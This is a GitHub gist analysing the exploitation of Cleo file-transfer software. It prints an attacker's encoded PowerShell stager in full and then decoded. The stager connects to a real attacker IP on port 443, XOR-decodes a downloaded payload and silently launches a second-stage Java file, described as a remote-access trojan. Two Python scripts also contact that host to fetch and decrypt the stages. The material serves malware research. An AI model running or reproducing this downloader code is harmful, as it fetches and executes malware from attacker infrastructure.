Skip to content

Instantly share code, notes, and snippets.

@X-Junior
Last active December 10, 2024 16:07
Show Gist options
  • Save X-Junior/5cf5f39dd54489f1b1d0931e55ccee91 to your computer and use it in GitHub Desktop.
Save X-Junior/5cf5f39dd54489f1b1d0931e55ccee91 to your computer and use it in GitHub Desktop.
Cleo Exploitation - Understating The Flow
Exploit ref : https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild
Initial VirusTotal hunting revealed the following samples with no redactions:
b103f708e85416fc6d7af9605da4b57b3abe42fb9c6c9ec0f539b4c877580bd2
418e4fa576e85096ac4f84f990b491cbe0e9a0367b9335c6c2d661afa426d48a
Within these samples there is an encoded PowerShell commands.
cmd.exe /c "powershell -NonInteractive -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ACgAIgA4ADkALgAyADQAOAAuADEANwAyAC4AMQAzADkAIgAsACAANAA0ADMAKQAKACQAcwA9ACQAYwAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQAKACQAcwAuAFIAZQBhAGQAVABpAG0AZQBvAHUAdAA9ADEAMAAwADAAMAAKACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByACAAJABzAAoAJAB3AC4AVwByAGkAdABlAEwAaQBuAGUAKAAiAFQATABTACAAdgAzACAANQB3AHoAZABEAHMARABjAFUAeQBvAFUARgBmAC0AXwB2AFgAVgAwAGEAMABJAGgAcgB6AFAAbgBQAGUAYQBoAG0AUQAzADUAUQBZAGoAZQBKAGsAWQAiACkACgAkAHcALgBGAGwAdQBzAGgAKAApAAoAJABrAD0AMQA5ADkALAAyADMALAAyADcALAA5ADgALAA5ADAALAAyADEANAAsADIAMgA4ACwAMQAxADEALAAxADgANQAsADEANAAzACwAMgAwADEALAA1ADUALAA3ADMALAA1ADcALAAyADAALAAyADEANgAKACQAYQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAOQA5ADkAOQAKACQAZgA9ACIAYwBsAGUAbwAuADYAMgA4ADUAIgAKACQAdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtACgAJABmACwAIABbAEkATwAuAEYAaQBsAGUATQBvAGQAZQBdADoAOgBDAHIAZQBhAHQAZQApAAoAJABuAD0AJABnAD0AMAAKAHcAaABpAGwAZQAoADEAKQB7ACQAcgA9ACQAcwAuAFIAZQBhAGQAKAAkAGEALAAwACwAOQA5ADkAOQApAAoAaQBmACgAJAByACAALQBsAGUAIAAwACkAewBiAHIAZQBhAGsAfQAKAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJAByADsAJABpACsAKwApAHsAJABqAD0AJABuACsAKwAgAC0AYgBhAG4AZAAgADEANQAKACQAYQBbACQAaQBdAD0AJABhAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAWwAkAGoAXQAgAC0AYgB4AG8AcgAgACQAZwAKACQAZwA9ACgAJABnACsAJABhAFsAJABpAF0AKQAgAC0AYgBhAG4AZAAgADIANQA1AAoAJABrAFsAJABqAF0APQAoACQAawBbACQAagBdACsAMwApACAALQBiAGEAbgBkACAAMgA1ADUAfQAKACQAdAAuAFcAcgBpAHQAZQAoACQAYQAsADAALAAkAHIAKQB9AAoAJAB0AC4AQwBsAG8AcwBlACgAKQAKACQAdwAuAEMAbABvAHMAZQAoACkACgAkAHMALgBDAGwAbwBzAGUAKAApAAoAJABlAG4AdgA6AFEAVQBFAFIAWQA9ACIATwB4AFIAYwB0AFoASgBmAEsAbwBiAEQAOQBnAEkATQBWAGcAXwBIAGcAbwBOADYAaQBOAF8ASQBxAFQAeQBIAFQAcwBLAFoARABkAEYAegBaAEkAYQBuAFcAVgBHAHUAQQBqAGUARAAzAFEAeABFAEwANQBIAEcALQBlAGMAdgBPAEQAawB1AE0AagBRADQATABqAEUAMwBNAGkANAB4AE0AegBrADcATgBUAEkAdQBNAGoATQB3AEwAagBFADEATgB5ADQAeQBNAGoAUgBmAE4AVABBADQATQBEAHMAIgAKACQAZQBuAHYAOgBGAD0AJABmAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEYAaQBsAGUAUABhAHQAaAAgAGoAcgBlAFwAYgBpAG4AXABqAGEAdgBhAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgAtAGoAYQByACAAJABmACIACgA
Once decoded, this PowerShell script performs the following actions:
Establishes a TCP connection to 89.248.172.139 on port 443.
Receives data via a stream, applying XOR-based transformations using the $k array.
Writes the decoded output to a file named cleo.6285.
Sets environment variables.
Executes jre\bin\java.exe with a second-stage JAR file as its argument.
$c=New-Object Net.Sockets.TcpClient("89.248.172.139", 443)
$s=$c.GetStream()
$s.ReadTimeout=10000
$w=New-Object System.IO.StreamWriter $s
$w.WriteLine("TLS v3 5wzdDsDcUyoUFf-_vXV0a0IhrzPnPeahmQ35QYjeJkY")
$w.Flush()
$k=199,23,27,98,90,214,228,111,185,143,201,55,73,57,20,216
$a=New-Object System.Byte[] 9999
$f="cleo.6285"
$t=New-Object IO.FileStream($f, [IO.FileMode]::Create)
$n=$g=0
while(1){$r=$s.Read($a,0,9999)
if($r -le 0){break}
for($i=0;$i -lt $r;$i++){$j=$n++ -band 15
$a[$i]=$a[$i] -bxor $k[$j] -bxor $g
$g=($g+$a[$i]) -band 255
$k[$j]=($k[$j]+3) -band 255}
$t.Write($a,0,$r)}
$t.Close()
$w.Close()
$s.Close()
$env:QUERY="OxRctZJfKobD9gIMVg_HgoN6iN_IqTyHTsKZDdFzZIanWVGuAjeD3QxEL5HG-ecvODkuMjQ4LjE3Mi4xMzk7NTIuMjMwLjE1Ny4yMjRfNTA4MDs"
$env:F=$f
Start-Process -WindowStyle Hidden -FilePath jre\bin\java.exe -ArgumentList "-jar $f"
By using the retrieve_file_from_ps.py script, we can pull the second-stage file from the remote server.
Once this second stage (start.class) is run, it attempts to download a ZIP archive containing multiple JAR files.
The retrieve_files_from_jar.py script can emulate this behavior,ultimately leading to the execution
of a CLI JAR with three parameters:
"89.248.172.139"
"52.230.157.224_5080"
"cleo.6285"
The CLI component appears to interact with the previously downloaded JAR files.
Full analysis of these final JAR files has not yet been conducted, but from what i saw these files act as a RAT,
it provides the attacker with interactive shell access, file upload/download capabilities, environment discovery.
All files can be found https://bazaar.abuse.ch/sample/989448c49aa2cf2e4b4726d866b6852bb3c19d7d6d2f8f2ff867cde7c0769c6f/
import socket
HOST = "89.248.172.139"
PORT = 443
k = [199,23,27,98,90,214,228,111,185,143,201,55,73,57,20,216]
n = 0
g = 0
f = "cleo.6285"
handshake = "TLS v3 5wzdDsDcUyoUFf-_vXV0a0IhrzPnPeahmQ35QYjeJkY\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((HOST, PORT))
sock.sendall(handshake.encode('utf-8'))
with open(f, "wb") as outfile:
while True:
data = sock.recv(9999)
if not data:
break
a = bytearray(data)
for i in range(len(a)):
j = n & 15
n += 1
a[i] = a[i] ^ k[j] ^ g
g = (g + a[i]) & 0xFF
k[j] = (k[j] + 3) & 0xFF
outfile.write(a)
sock.close()
print("Data received and decoded into", f)
import os
import base64
from Crypto.Cipher import AES
import socket
query = "OxRctZJfKobD9gIMVg_HgoN6iN_IqTyHTsKZDdFzZIanWVGuAjeD3QxEL5HG-ecvODkuMjQ4LjE3Mi4xMzk7NTIuMjMwLjE1Ny4yMjRfNTA4MDs="
query_fixed = query.replace('-', '+').replace('_', '/')
print(query_fixed)
decoded = base64.b64decode(query_fixed)
print(decoded)
bArr2 = decoded[0:16]
bArr3 = decoded[16:48]
rest = decoded[48:]
strArr2 = rest.decode('utf-8').split(';')
host = strArr2[0]
print(host)
iv = bytes([0xCD, 0x4A, 0x54, 0xB1, 0x94, 0xE4, 0x8A, 0x66,
0xD1, 0xE2, 0x5D, 0xA5, 0x91, 0x09, 0xD0, 0x41])
encoded_bArr3 = base64.b64encode(bArr3).decode('utf-8').rstrip('=')
handshake_line = "TLS v3 " + encoded_bArr3
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, 443))
s.sendall(handshake_line.encode('utf-8'))
bArr4 = bytearray()
while True:
chunk = s.recv(4096)
if not chunk:
break
bArr4.extend(chunk)
ciphertext = bytes(bArr4)
trimmed_len = len(ciphertext) & 0xFFF0
ciphertext = ciphertext[:trimmed_len]
with open("cipher_payload.bin", "wb") as out_file:
out_file.write(ciphertext)
cipher = AES.new(bArr2, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
length = (plaintext[0] & 0xFF) + ((plaintext[1] & 0xFF) << 8)
data = plaintext[2:2+length]
with open("decrypted_payload.bin", "wb") as out_file:
out_file.write(data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment